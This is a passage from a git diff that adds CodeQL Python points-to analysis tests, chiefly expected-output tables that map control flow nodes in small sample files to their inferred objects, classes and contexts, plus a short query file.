ControlFlowNode for FunctionExpr | Function _after_fork | builtin-class function | 11 | import | +| r_regressions.py:11 | ControlFlowNode for _after_fork | Function _after_fork | builtin-class function | 11 | import | +| r_regressions.py:12 | ControlFlowNode for Attribute | bool False | builtin-class bool | 12 | code/r_regressions.py:9 from runtime | +| r_regressions.py:12 | ControlFlowNode for False | bool False | builtin-class bool | 12 | code/r_regressions.py:9 from runtime | +| r_regressions.py:12 | ControlFlowNode for self | self | class Queue | 7 | code/r_regressions.py:9 from runtime | +| r_regressions.py:13 | ControlFlowNode for Attribute | NoneType None | builtin-class NoneType | 13 | code/r_regressions.py:9 from runtime | +| r_regressions.py:13 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 13 | code/r_regressions.py:9 from runtime | +| r_regressions.py:13 | ControlFlowNode for self | self | class Queue | 7 | code/r_regressions.py:9 from runtime | +| r_regressions.py:15 | ControlFlowNode for FunctionExpr | Function close | builtin-class function | 15 | import | +| r_regressions.py:15 | ControlFlowNode for close | Function close | builtin-class function | 15 | import | +| r_regressions.py:16 | ControlFlowNode for Attribute | bool True | builtin-class bool | 16 | runtime | +| r_regressions.py:16 | ControlFlowNode for True | bool True | builtin-class bool | 16 | runtime | +| r_regressions.py:16 | ControlFlowNode for self | self | class Queue | 15 | runtime | +| r_regressions.py:18 | ControlFlowNode for self | self | class Queue | 15 | runtime | +| r_regressions.py:20 | ControlFlowNode for Attribute | NoneType None | builtin-class NoneType | 13 | runtime | +| r_regressions.py:20 | ControlFlowNode for close | NoneType None | builtin-class NoneType | 13 | runtime | +| r_regressions.py:20 | ControlFlowNode for self | self | class Queue | 15 | runtime | +| r_regressions.py:21 | ControlFlowNode for close | NoneType None | builtin-class NoneType | 13 | runtime | +| r_regressions.py:22 | ControlFlowNode for Attribute | NoneType None | builtin-class NoneType | 22 | runtime | +| r_regressions.py:22 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 22 | runtime | +| r_regressions.py:22 | ControlFlowNode for self | self | class Queue | 15 | runtime | +| r_regressions.py:27 | ControlFlowNode for FunctionExpr | Function f | builtin-class function | 27 | import | +| r_regressions.py:27 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 27 | import | +| r_regressions.py:27 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 27 | import | +| r_regressions.py:27 | ControlFlowNode for f | Function f | builtin-class function | 27 | import | +| r_regressions.py:31 | ControlFlowNode for y | NoneType None | builtin-class NoneType | 27 | runtime | +| r_regressions.py:33 | ControlFlowNode for y | NoneType None | builtin-class NoneType | 27 | runtime | +| r_regressions.py:35 | ControlFlowNode for UnaryExpr | bool False | builtin-class bool | 35 | runtime | +| r_regressions.py:35 | ControlFlowNode for UnaryExpr | bool True | builtin-class bool | 35 | runtime | +| r_regressions.py:36 | ControlFlowNode for z | int 0 | builtin-class int | 27 | runtime | +| r_regressions.py:42 | ControlFlowNode for FunctionExpr | Function find_library | builtin-class function | 42 | import | +| r_regressions.py:42 | ControlFlowNode for find_library | Function find_library | builtin-class function | 42 | import | +| r_regressions.py:43 | ControlFlowNode for List | List | builtin-class list | 43 | runtime | +| r_regressions.py:46 | ControlFlowNode for FunctionExpr | Function fail | builtin-class function | 46 | import | +| r_regressions.py:46 | ControlFlowNode for fail | Function fail | builtin-class function | 46 | import | +| r_regressions.py:49 | ControlFlowNode for C | class C | builtin-class type | 49 | import | +| r_regressions.py:49 | ControlFlowNode for ClassExpr | class C | builtin-class type | 49 | import | +| r_regressions.py:49 | ControlFlowNode for object | builtin-class object | builtin-class type | 49 | import | +| r_regressions.py:51 | ControlFlowNode for FunctionExpr | Function fail | builtin-class function | 51 | import | +| r_regressions.py:51 | ControlFlowNode for fail | Function fail | builtin-class function | 51 | import | +| r_regressions.py:52 | ControlFlowNode for fail | Function fail | builtin-class function | 46 | runtime | +| r_regressions.py:52 | ControlFlowNode for fail() | NoneType None | builtin-class NoneType | 46 | runtime | +| r_regressions.py:58 | ControlFlowNode for FunctionExpr | Function method_decorator | builtin-class function | 58 | import | +| r_regressions.py:58 | ControlFlowNode for Str | '' | builtin-class str | 58 | import | +| r_regressions.py:58 | ControlFlowNode for method_decorator | Function method_decorator | builtin-class function | 58 | import | +| r_regressions.py:61 | ControlFlowNode for FunctionExpr | Function _dec | builtin-class function | 61 | code/r_regressions.py:85 from import | +| r_regressions.py:61 | ControlFlowNode for FunctionExpr | Function _dec | builtin-class function | 61 | runtime | +| r_regressions.py:61 | ControlFlowNode for _dec | Function _dec | builtin-class function | 61 | code/r_regressions.py:85 from import | +| r_regressions.py:61 | ControlFlowNode for _dec | Function _dec | builtin-class function | 61 | runtime | +| r_regressions.py:62 | ControlFlowNode for is_class | bool True | builtin-class bool | 62 | code/r_regressions.py:85 from import | +| r_regressions.py:62 | ControlFlowNode for isinstance | Builtin-function isinstance | builtin-class builtin_function_or_method | 62 | code/r_regressions.py:85 from import | +| r_regressions.py:62 | ControlFlowNode for isinstance() | bool True | builtin-class bool | 62 | code/r_regressions.py:85 from import | +| r_regressions.py:62 | ControlFlowNode for obj | class TestFirst | builtin-class type | 86 | code/r_regressions.py:85 from import | +| r_regressions.py:62 | ControlFlowNode for type | builtin-class type | builtin-class type | 62 | code/r_regressions.py:85 from import | +| r_regressions.py:63 | ControlFlowNode for is_class | bool True | builtin-class bool | 62 | code/r_regressions.py:85 from import | +| r_regressions.py:68 | ControlFlowNode for FunctionExpr | Function _wrapper | builtin-class function | 68 | code/r_regressions.py:85 from import | +| r_regressions.py:68 | ControlFlowNode for _wrapper | Function _wrapper | builtin-class function | 68 | code/r_regressions.py:85 from import | +| r_regressions.py:72 | ControlFlowNode for is_class | bool True | builtin-class bool | 62 | code/r_regressions.py:85 from import | +| r_regressions.py:73 | ControlFlowNode for _wrapper | Function _wrapper | builtin-class function | 68 | code/r_regressions.py:85 from import | +| r_regressions.py:73 | ControlFlowNode for obj | class TestFirst | builtin-class type | 86 | code/r_regressions.py:85 from import | +| r_regressions.py:73 | ControlFlowNode for setattr | Builtin-function setattr | builtin-class builtin_function_or_method | 73 | code/r_regressions.py:85 from import | +| r_regressions.py:73 | ControlFlowNode for setattr() | NoneType None | builtin-class NoneType | 73 | code/r_regressions.py:85 from import | +| r_regressions.py:74 | ControlFlowNode for obj | class TestFirst | builtin-class type | 86 | code/r_regressions.py:85 from import | +| r_regressions.py:78 | ControlFlowNode for _dec | Function _dec | builtin-class function | 61 | code/r_regressions.py:85 from import | +| r_regressions.py:78 | ControlFlowNode for _dec | Function _dec | builtin-class function | 61 | runtime | +| r_regressions.py:80 | ControlFlowNode for FunctionExpr | Function deco | builtin-class function | 80 | import | +| r_regressions.py:80 | ControlFlowNode for deco | Function deco | builtin-class function | 80 | import | +| r_regressions.py:81 | ControlFlowNode for FunctionExpr | Function _wrapper | builtin-class function | 81 | runtime | +| r_regressions.py:81 | ControlFlowNode for _wrapper | Function _wrapper | builtin-class function | 81 | runtime | +| r_regressions.py:83 | ControlFlowNode for _wrapper | Function _wrapper | builtin-class function | 81 | runtime | +| r_regressions.py:85 | ControlFlowNode for Str | 'method' | builtin-class str | 85 | import | +| r_regressions.py:85 | ControlFlowNode for deco | Function deco | builtin-class function | 80 | import | +| r_regressions.py:85 | ControlFlowNode for method_decorator | Function method_decorator | builtin-class function | 58 | import | +| r_regressions.py:85 | ControlFlowNode for method_decorator() | Function _dec | builtin-class function | 61 | import | +| r_regressions.py:85 | ControlFlowNode for method_decorator()() | class TestFirst | builtin-class type | 86 | import | +| r_regressions.py:86 | ControlFlowNode for ClassExpr | class TestFirst | builtin-class type | 86 | import | +| r_regressions.py:86 | ControlFlowNode for TestFirst | class TestFirst | builtin-class type | 86 | import | +| r_regressions.py:86 | ControlFlowNode for object | builtin-class object | builtin-class type | 86 | import | +| r_regressions.py:87 | ControlFlowNode for FunctionExpr | Function method | builtin-class function | 87 | import | +| r_regressions.py:87 | ControlFlowNode for method | Function method | builtin-class function | 87 | import | +| r_regressions.py:88 | ControlFlowNode for Str | 'hello world' | builtin-class str | 88 | code/r_regressions.py:90 from import | +| r_regressions.py:88 | ControlFlowNode for Str | 'hello world' | builtin-class str | 88 | runtime | +| r_regressions.py:90 | ControlFlowNode for Attribute() | 'hello world' | builtin-class str | 88 | import | +| r_regressions.py:90 | ControlFlowNode for TestFirst | class TestFirst | builtin-class type | 86 | import | +| r_regressions.py:90 | ControlFlowNode for TestFirst() | TestFirst() | class TestFirst | 90 | import | +| r_regressions.py:93 | ControlFlowNode for ImportExpr | Module sys | builtin-class module | 93 | import | +| r_regressions.py:93 | ControlFlowNode for sys | Module sys | builtin-class module | 93 | import | +| r_regressions.py:95 | ControlFlowNode for Attribute | tuple object | builtin-class tuple | 95 | import | +| r_regressions.py:95 | ControlFlowNode for _names | tuple object | builtin-class tuple | 95 | import | +| r_regressions.py:95 | ControlFlowNode for sys | Module sys | builtin-class module | 93 | import | +| r_regressions.py:97 | ControlFlowNode for Compare | bool True | builtin-class bool | 97 | import | +| r_regressions.py:97 | ControlFlowNode for Str | 'time' | builtin-class str | 97 | import | +| r_regressions.py:97 | ControlFlowNode for _names | tuple object | builtin-class tuple | 95 | import | +| r_regressions.py:98 | ControlFlowNode for ImportExpr | Module time | builtin-class module | 98 | import | +| r_regressions.py:98 | ControlFlowNode for t | Module time | builtin-class module | 98 | import | +| s_scopes.py:4 | ControlFlowNode for True | bool True | builtin-class bool | 4 | import | +| s_scopes.py:4 | ControlFlowNode for float | bool True | builtin-class bool | 4 | import | +| s_scopes.py:7 | ControlFlowNode for C2 | class C2 | builtin-class type | 7 | import | +| s_scopes.py:7 | ControlFlowNode for ClassExpr | class C2 | builtin-class type | 7 | import | +| s_scopes.py:7 | ControlFlowNode for object | builtin-class object | builtin-class type | 7 | import | +| s_scopes.py:9 | ControlFlowNode for i1 | builtin-class int | builtin-class type | 9 | import | +| s_scopes.py:9 | ControlFlowNode for int | builtin-class int | builtin-class type | 9 | import | +| s_scopes.py:10 | ControlFlowNode for f1 | bool True | builtin-class bool | 4 | import | +| s_scopes.py:10 | ControlFlowNode for f1 | builtin-class float | builtin-class type | 10 | import | +| s_scopes.py:10 | ControlFlowNode for float | bool True | builtin-class bool | 4 | import | +| s_scopes.py:10 | ControlFlowNode for float | builtin-class float | builtin-class type | 10 | import | +| s_scopes.py:12 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 12 | import | +| s_scopes.py:12 | ControlFlowNode for int | int 0 | builtin-class int | 12 | import | +| s_scopes.py:15 | ControlFlowNode for FloatLiteral | float 1.0 | builtin-class float | 15 | import | +| s_scopes.py:15 | ControlFlowNode for str | float 1.0 | builtin-class float | 15 | import | +| s_scopes.py:17 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 17 | import | +| s_scopes.py:17 | ControlFlowNode for float | NoneType None | builtin-class NoneType | 17 | import | +| s_scopes.py:18 | ControlFlowNode for i2 | int 0 | builtin-class int | 12 | import | +| s_scopes.py:18 | ControlFlowNode for int | int 0 | builtin-class int | 12 | import | +| s_scopes.py:19 | ControlFlowNode for s | builtin-class str | builtin-class type | 19 | import | +| s_scopes.py:19 | ControlFlowNode for s | float 1.0 | builtin-class float | 15 | import | +| s_scopes.py:19 | ControlFlowNode for str | builtin-class str | builtin-class type | 19 | import | +| s_scopes.py:19 | ControlFlowNode for str | float 1.0 | builtin-class float | 15 | import | +| s_scopes.py:20 | ControlFlowNode for f2 | NoneType None | builtin-class NoneType | 17 | import | +| s_scopes.py:20 | ControlFlowNode for f2 | bool True | builtin-class bool | 4 | import | +| s_scopes.py:20 | ControlFlowNode for f2 | builtin-class float | builtin-class type | 20 | import | +| s_scopes.py:20 | ControlFlowNode for float | NoneType None | builtin-class NoneType | 17 | import | +| s_scopes.py:20 | ControlFlowNode for float | bool True | builtin-class bool | 4 | import | +| s_scopes.py:20 | ControlFlowNode for float | builtin-class float | builtin-class type | 20 | import | +| s_scopes.py:23 | ControlFlowNode for i | builtin-class int | builtin-class type | 23 | import | +| s_scopes.py:23 | ControlFlowNode for int | builtin-class int | builtin-class type | 23 | import | +| s_scopes.py:24 | ControlFlowNode for f | bool True | builtin-class bool | 4 | import | +| s_scopes.py:24 | ControlFlowNode for f | builtin-class float | builtin-class type | 24 | import | +| s_scopes.py:24 | ControlFlowNode for float | bool True | builtin-class bool | 4 | import | +| s_scopes.py:24 | ControlFlowNode for float | builtin-class float | builtin-class type | 24 | import | +| t_type.py:1 | ControlFlowNode for ImportExpr | Module sys | builtin-class module | 1 | import | +| t_type.py:1 | ControlFlowNode for sys | Module sys | builtin-class module | 1 | import | +| t_type.py:3 | ControlFlowNode for C | class C | builtin-class type | 3 | import | +| t_type.py:3 | ControlFlowNode for ClassExpr | class C | builtin-class type | 3 | import | +| t_type.py:3 | ControlFlowNode for object | builtin-class object | builtin-class type | 3 | import | +| t_type.py:6 | ControlFlowNode for C | class C | builtin-class type | 3 | import | +| t_type.py:6 | ControlFlowNode for C() | C() | class C | 6 | import | +| t_type.py:6 | ControlFlowNode for type | builtin-class type | builtin-class type | 6 | import | +| t_type.py:6 | ControlFlowNode for type() | class C | builtin-class type | 3 | import | +| t_type.py:7 | ControlFlowNode for sys | Module sys | builtin-class module | 1 | import | +| t_type.py:7 | ControlFlowNode for type | builtin-class type | builtin-class type | 7 | import | +| t_type.py:7 | ControlFlowNode for type() | builtin-class module | builtin-class type | 7 | import | +| t_type.py:9 | ControlFlowNode for type | builtin-class type | builtin-class type | 9 | import | +| t_type.py:10 | ControlFlowNode for Dict | Dict | builtin-class dict | 10 | import | +| t_type.py:10 | ControlFlowNode for Tuple | Tuple | builtin-class tuple | 10 | import | +| t_type.py:10 | ControlFlowNode for object | builtin-class object | builtin-class type | 10 | import | +| t_type.py:10 | ControlFlowNode for type | builtin-class type | builtin-class type | 10 | import | +| t_type.py:12 | ControlFlowNode for FunctionExpr | Function k | builtin-class function | 12 | import | +| t_type.py:12 | ControlFlowNode for k | Function k | builtin-class function | 12 | import | +| t_type.py:13 | ControlFlowNode for C | class C | builtin-class type | 3 | runtime | +| t_type.py:13 | ControlFlowNode for C() | C() | class C | 13 | runtime | +| t_type.py:13 | ControlFlowNode for type | builtin-class type | builtin-class type | 13 | runtime | +| t_type.py:13 | ControlFlowNode for type() | class C | builtin-class type | 3 | runtime | +| t_type.py:14 | ControlFlowNode for sys | Module sys | builtin-class module | 1 | runtime | +| t_type.py:14 | ControlFlowNode for type | builtin-class type | builtin-class type | 14 | runtime | +| t_type.py:14 | ControlFlowNode for type() | builtin-class module | builtin-class type | 14 | runtime | +| t_type.py:15 | ControlFlowNode for type | builtin-class type | builtin-class type | 15 | runtime | +| t_type.py:15 | ControlFlowNode for type() | *UNKNOWN TYPE* | builtin-class type | 15 | runtime | +| t_type.py:16 | ControlFlowNode for Dict | Dict | builtin-class dict | 16 | runtime | +| t_type.py:16 | ControlFlowNode for Tuple | Tuple | builtin-class tuple | 16 | runtime | +| t_type.py:16 | ControlFlowNode for object | builtin-class object | builtin-class type | 16 | runtime | +| t_type.py:16 | ControlFlowNode for type | builtin-class type | builtin-class type | 16 | runtime | +| u_paired_values.py:2 | ControlFlowNode for FunctionExpr | Function return_if_true | builtin-class function | 2 | import | +| u_paired_values.py:2 | ControlFlowNode for return_if_true | Function return_if_true | builtin-class function | 2 | import | +| u_paired_values.py:3 | ControlFlowNode for cond | bool False | builtin-class bool | 8 | code/u_paired_values.py:8 from code/u_paired_values.py:14 from import | +| u_paired_values.py:3 | ControlFlowNode for cond | bool False | builtin-class bool | 8 | code/u_paired_values.py:8 from runtime | +| u_paired_values.py:3 | ControlFlowNode for cond | bool True | builtin-class bool | 8 | code/u_paired_values.py:8 from code/u_paired_values.py:11 from import | +| u_paired_values.py:3 | ControlFlowNode for cond | bool True | builtin-class bool | 8 | code/u_paired_values.py:8 from runtime | +| u_paired_values.py:4 | ControlFlowNode for val | int 1 | builtin-class int | 8 | code/u_paired_values.py:8 from code/u_paired_values.py:11 from import | +| u_paired_values.py:4 | ControlFlowNode for val | int 1 | builtin-class int | 8 | code/u_paired_values.py:8 from runtime | +| u_paired_values.py:5 | ControlFlowNode for Exception | builtin-class Exception | builtin-class type | 5 | code/u_paired_values.py:8 from code/u_paired_values.py:14 from import | +| u_paired_values.py:5 | ControlFlowNode for Exception | builtin-class Exception | builtin-class type | 5 | code/u_paired_values.py:8 from runtime | +| u_paired_values.py:5 | ControlFlowNode for Exception | builtin-class Exception | builtin-class type | 5 | runtime | +| u_paired_values.py:5 | ControlFlowNode for Exception() | Exception() | builtin-class Exception | 5 | code/u_paired_values.py:8 from code/u_paired_values.py:14 from import | +| u_paired_values.py:5 | ControlFlowNode for Exception() | Exception() | builtin-class Exception | 5 | code/u_paired_values.py:8 from runtime | +| u_paired_values.py:5 | ControlFlowNode for Exception() | Exception() | builtin-class Exception | 5 | runtime | +| u_paired_values.py:7 | ControlFlowNode for FunctionExpr | Function test | builtin-class function | 7 | import | +| u_paired_values.py:7 | ControlFlowNode for test | Function test | builtin-class function | 7 | import | +| u_paired_values.py:8 | ControlFlowNode for False | bool False | builtin-class bool | 8 | code/u_paired_values.py:14 from import | +| u_paired_values.py:8 | ControlFlowNode for False | bool False | builtin-class bool | 8 | runtime | +| u_paired_values.py:8 | ControlFlowNode for IfExp | int 1 | builtin-class int | 8 | code/u_paired_values.py:11 from import | +| u_paired_values.py:8 | ControlFlowNode for IfExp | int 1 | builtin-class int | 8 | runtime | +| u_paired_values.py:8 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 8 | code/u_paired_values.py:11 from import | +| u_paired_values.py:8 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 8 | runtime | +| u_paired_values.py:8 | ControlFlowNode for IntegerLiteral | int 2 | builtin-class int | 8 | code/u_paired_values.py:14 from import | +| u_paired_values.py:8 | ControlFlowNode for IntegerLiteral | int 2 | builtin-class int | 8 | runtime | +| u_paired_values.py:8 | ControlFlowNode for True | bool True | builtin-class bool | 8 | code/u_paired_values.py:11 from import | +| u_paired_values.py:8 | ControlFlowNode for True | bool True | builtin-class bool | 8 | runtime | +| u_paired_values.py:8 | ControlFlowNode for cond | bool False | builtin-class bool | 14 | code/u_paired_values.py:14 from import | +| u_paired_values.py:8 | ControlFlowNode for cond | bool True | builtin-class bool | 11 | code/u_paired_values.py:11 from import | +| u_paired_values.py:8 | ControlFlowNode for return_if_true | Function return_if_true | builtin-class function | 2 | code/u_paired_values.py:11 from import | +| u_paired_values.py:8 | ControlFlowNode for return_if_true | Function return_if_true | builtin-class function | 2 | code/u_paired_values.py:14 from import | +| u_paired_values.py:8 | ControlFlowNode for return_if_true | Function return_if_true | builtin-class function | 2 | runtime | +| u_paired_values.py:8 | ControlFlowNode for return_if_true() | int 1 | builtin-class int | 8 | code/u_paired_values.py:11 from import | +| u_paired_values.py:8 | ControlFlowNode for return_if_true() | int 1 | builtin-class int | 8 | runtime | +| u_paired_values.py:8 | ControlFlowNode for x | int 1 | builtin-class int | 8 | code/u_paired_values.py:11 from import | +| u_paired_values.py:8 | ControlFlowNode for x | int 1 | builtin-class int | 8 | runtime | +| u_paired_values.py:9 | ControlFlowNode for x | int 1 | builtin-class int | 8 | code/u_paired_values.py:11 from import | +| u_paired_values.py:9 | ControlFlowNode for x | int 1 | builtin-class int | 8 | runtime | +| u_paired_values.py:11 | ControlFlowNode for True | bool True | builtin-class bool | 11 | import | +| u_paired_values.py:11 | ControlFlowNode for test | Function test | builtin-class function | 7 | import | +| u_paired_values.py:11 | ControlFlowNode for test() | int 1 | builtin-class int | 8 | import | +| u_paired_values.py:11 | ControlFlowNode for y | int 1 | builtin-class int | 8 | import | +| u_paired_values.py:12 | ControlFlowNode for y | int 1 | builtin-class int | 8 | import | +| u_paired_values.py:14 | ControlFlowNode for False | bool False | builtin-class bool | 14 | import | +| u_paired_values.py:14 | ControlFlowNode for test | Function test | builtin-class function | 7 | import | diff --git a/python/ql/test/library-tests/PointsTo/new/PointsToWithContext.ql b/python/ql/test/library-tests/PointsTo/new/PointsToWithContext.ql new file mode 100755 index 00000000000..e2ef1fc3c61 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/PointsToWithContext.ql @@ -0,0 +1,10 @@ +import python +import Util +import semmle.python.pointsto.PointsTo +import semmle.python.pointsto.PointsToContext + +from ControlFlowNode f, Object o, ClassObject c, ControlFlowNode x, PointsToContext ctx + +where PointsTo::points_to(f, ctx, o, c, x) + +select locate(f.getLocation(), "abeghijklmnpqrstu"), f.toString(), repr(o), repr(c), x.getLocation().getStartLine(), ctx diff --git a/python/ql/test/library-tests/PointsTo/new/PointsToWithType.expected b/python/ql/test/library-tests/PointsTo/new/PointsToWithType.expected new file mode 100644 index 00000000000..f3fc21e75b5 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/PointsToWithType.expected @@ -0,0 +1,712 @@ +| a_simple.py:2 | ControlFlowNode for FloatLiteral | float 1.0 | builtin-class float | 2 | +| a_simple.py:2 | ControlFlowNode for f1 | float 1.0 | builtin-class float | 2 | +| a_simple.py:3 | ControlFlowNode for dict | builtin-class dict | builtin-class type | 3 | +| a_simple.py:4 | ControlFlowNode for tuple | builtin-class tuple | builtin-class type | 4 | +| a_simple.py:5 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 5 | +| a_simple.py:5 | ControlFlowNode for i1 | int 0 | builtin-class int | 5 | +| a_simple.py:6 | ControlFlowNode for Tuple | Tuple | builtin-class tuple | 6 | +| a_simple.py:6 | ControlFlowNode for s | Tuple | builtin-class tuple | 6 | +| a_simple.py:8 | ControlFlowNode for FunctionExpr | Function func | builtin-class function | 8 | +| a_simple.py:8 | ControlFlowNode for func | Function func | builtin-class function | 8 | +| a_simple.py:11 | ControlFlowNode for C | class C | builtin-class type | 11 | +| a_simple.py:11 | ControlFlowNode for ClassExpr | class C | builtin-class type | 11 | +| a_simple.py:11 | ControlFlowNode for object | builtin-class object | builtin-class type | 11 | +| a_simple.py:14 | ControlFlowNode for FunctionExpr | Function vararg_kwarg | builtin-class function | 14 | +| a_simple.py:14 | ControlFlowNode for d | d | builtin-class dict | 14 | +| a_simple.py:14 | ControlFlowNode for t | t | builtin-class tuple | 14 | +| a_simple.py:14 | ControlFlowNode for vararg_kwarg | Function vararg_kwarg | builtin-class function | 14 | +| a_simple.py:15 | ControlFlowNode for t | t | builtin-class tuple | 14 | +| a_simple.py:16 | ControlFlowNode for d | d | builtin-class dict | 14 | +| a_simple.py:18 | ControlFlowNode for FunctionExpr | Function multi_loop | builtin-class function | 18 | +| a_simple.py:18 | ControlFlowNode for multi_loop | Function multi_loop | builtin-class function | 18 | +| a_simple.py:19 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 19 | +| a_simple.py:19 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 19 | +| a_simple.py:20 | ControlFlowNode for Tuple | Tuple | builtin-class tuple | 20 | +| a_simple.py:23 | ControlFlowNode for FunctionExpr | Function with_definition | builtin-class function | 23 | +| a_simple.py:23 | ControlFlowNode for with_definition | Function with_definition | builtin-class function | 23 | +| a_simple.py:27 | ControlFlowNode for FunctionExpr | Function multi_loop_in_try | builtin-class function | 27 | +| a_simple.py:27 | ControlFlowNode for multi_loop_in_try | Function multi_loop_in_try | builtin-class function | 27 | +| a_simple.py:29 | ControlFlowNode for Tuple | Tuple | builtin-class tuple | 29 | +| a_simple.py:31 | ControlFlowNode for KeyError | builtin-class KeyError | builtin-class type | 31 | +| a_simple.py:34 | ControlFlowNode for FunctionExpr | Function f | builtin-class function | 34 | +| a_simple.py:34 | ControlFlowNode for args | args | builtin-class tuple | 34 | +| a_simple.py:34 | ControlFlowNode for f | Function f | builtin-class function | 34 | +| a_simple.py:34 | ControlFlowNode for kwargs | kwargs | builtin-class dict | 34 | +| a_simple.py:35 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 35 | +| a_simple.py:35 | ControlFlowNode for UnaryExpr | bool False | builtin-class bool | 35 | +| a_simple.py:35 | ControlFlowNode for UnaryExpr | bool True | builtin-class bool | 35 | +| a_simple.py:35 | ControlFlowNode for args | args | builtin-class tuple | 34 | +| a_simple.py:36 | ControlFlowNode for Str | 'x' | builtin-class str | 36 | +| a_simple.py:36 | ControlFlowNode for UnaryExpr | bool False | builtin-class bool | 36 | +| a_simple.py:36 | ControlFlowNode for UnaryExpr | bool True | builtin-class bool | 36 | +| a_simple.py:36 | ControlFlowNode for kwargs | kwargs | builtin-class dict | 34 | +| b_condition.py:4 | ControlFlowNode for FunctionExpr | Function f | builtin-class function | 4 | +| b_condition.py:4 | ControlFlowNode for f | Function f | builtin-class function | 4 | +| b_condition.py:5 | ControlFlowNode for IfExp | NoneType None | builtin-class NoneType | 5 | +| b_condition.py:5 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 5 | +| b_condition.py:5 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 5 | +| b_condition.py:7 | ControlFlowNode for Compare | bool False | builtin-class bool | 7 | +| b_condition.py:7 | ControlFlowNode for Compare | bool True | builtin-class bool | 7 | +| b_condition.py:7 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 7 | +| b_condition.py:7 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 5 | +| b_condition.py:8 | ControlFlowNode for IntegerLiteral | int 7 | builtin-class int | 8 | +| b_condition.py:8 | ControlFlowNode for x | int 7 | builtin-class int | 8 | +| b_condition.py:9 | ControlFlowNode for x | int 7 | builtin-class int | 8 | +| b_condition.py:11 | ControlFlowNode for IfExp | NoneType None | builtin-class NoneType | 11 | +| b_condition.py:11 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 11 | +| b_condition.py:11 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 11 | +| b_condition.py:13 | ControlFlowNode for Compare | bool False | builtin-class bool | 13 | +| b_condition.py:13 | ControlFlowNode for Compare | bool True | builtin-class bool | 13 | +| b_condition.py:13 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 13 | +| b_condition.py:13 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 11 | +| b_condition.py:14 | ControlFlowNode for IntegerLiteral | int 7 | builtin-class int | 14 | +| b_condition.py:14 | ControlFlowNode for x | int 7 | builtin-class int | 14 | +| b_condition.py:15 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 11 | +| b_condition.py:15 | ControlFlowNode for x | int 7 | builtin-class int | 14 | +| b_condition.py:17 | ControlFlowNode for IfExp | NoneType None | builtin-class NoneType | 17 | +| b_condition.py:17 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 17 | +| b_condition.py:17 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 17 | +| b_condition.py:19 | ControlFlowNode for UnaryExpr | bool False | builtin-class bool | 19 | +| b_condition.py:19 | ControlFlowNode for UnaryExpr | bool True | builtin-class bool | 19 | +| b_condition.py:19 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 17 | +| b_condition.py:20 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 20 | +| b_condition.py:20 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 20 | +| b_condition.py:21 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 20 | +| b_condition.py:23 | ControlFlowNode for IfExp | NoneType None | builtin-class NoneType | 23 | +| b_condition.py:23 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 23 | +| b_condition.py:23 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 23 | +| b_condition.py:25 | ControlFlowNode for IfExp | int 1 | builtin-class int | 25 | +| b_condition.py:25 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 25 | +| b_condition.py:25 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 23 | +| b_condition.py:25 | ControlFlowNode for x | int 1 | builtin-class int | 25 | +| b_condition.py:26 | ControlFlowNode for x | int 1 | builtin-class int | 25 | +| b_condition.py:28 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 28 | +| b_condition.py:28 | ControlFlowNode for x | int 1 | builtin-class int | 28 | +| b_condition.py:29 | ControlFlowNode for x | int 1 | builtin-class int | 25 | +| b_condition.py:29 | ControlFlowNode for x | int 1 | builtin-class int | 28 | +| b_condition.py:31 | ControlFlowNode for IfExp | int 1 | builtin-class int | 31 | +| b_condition.py:31 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 31 | +| b_condition.py:31 | ControlFlowNode for x | int 1 | builtin-class int | 31 | +| b_condition.py:32 | ControlFlowNode for UnaryExpr | bool False | builtin-class bool | 32 | +| b_condition.py:32 | ControlFlowNode for UnaryExpr | bool True | builtin-class bool | 32 | +| b_condition.py:32 | ControlFlowNode for x | int 1 | builtin-class int | 31 | +| b_condition.py:33 | ControlFlowNode for IntegerLiteral | int 7 | builtin-class int | 33 | +| b_condition.py:33 | ControlFlowNode for x | int 7 | builtin-class int | 33 | +| b_condition.py:34 | ControlFlowNode for x | int 1 | builtin-class int | 31 | +| b_condition.py:34 | ControlFlowNode for x | int 7 | builtin-class int | 33 | +| b_condition.py:36 | ControlFlowNode for int | builtin-class int | builtin-class type | 36 | +| b_condition.py:36 | ControlFlowNode for isinstance | Builtin-function isinstance | builtin-class builtin_function_or_method | 36 | +| b_condition.py:36 | ControlFlowNode for isinstance() | bool False | builtin-class bool | 36 | +| b_condition.py:36 | ControlFlowNode for isinstance() | bool True | builtin-class bool | 36 | +| b_condition.py:36 | ControlFlowNode for x | int 1 | builtin-class int | 31 | +| b_condition.py:36 | ControlFlowNode for x | int 7 | builtin-class int | 33 | +| b_condition.py:37 | ControlFlowNode for x | int 1 | builtin-class int | 31 | +| b_condition.py:37 | ControlFlowNode for x | int 7 | builtin-class int | 33 | +| b_condition.py:41 | ControlFlowNode for Attribute | int 1 | 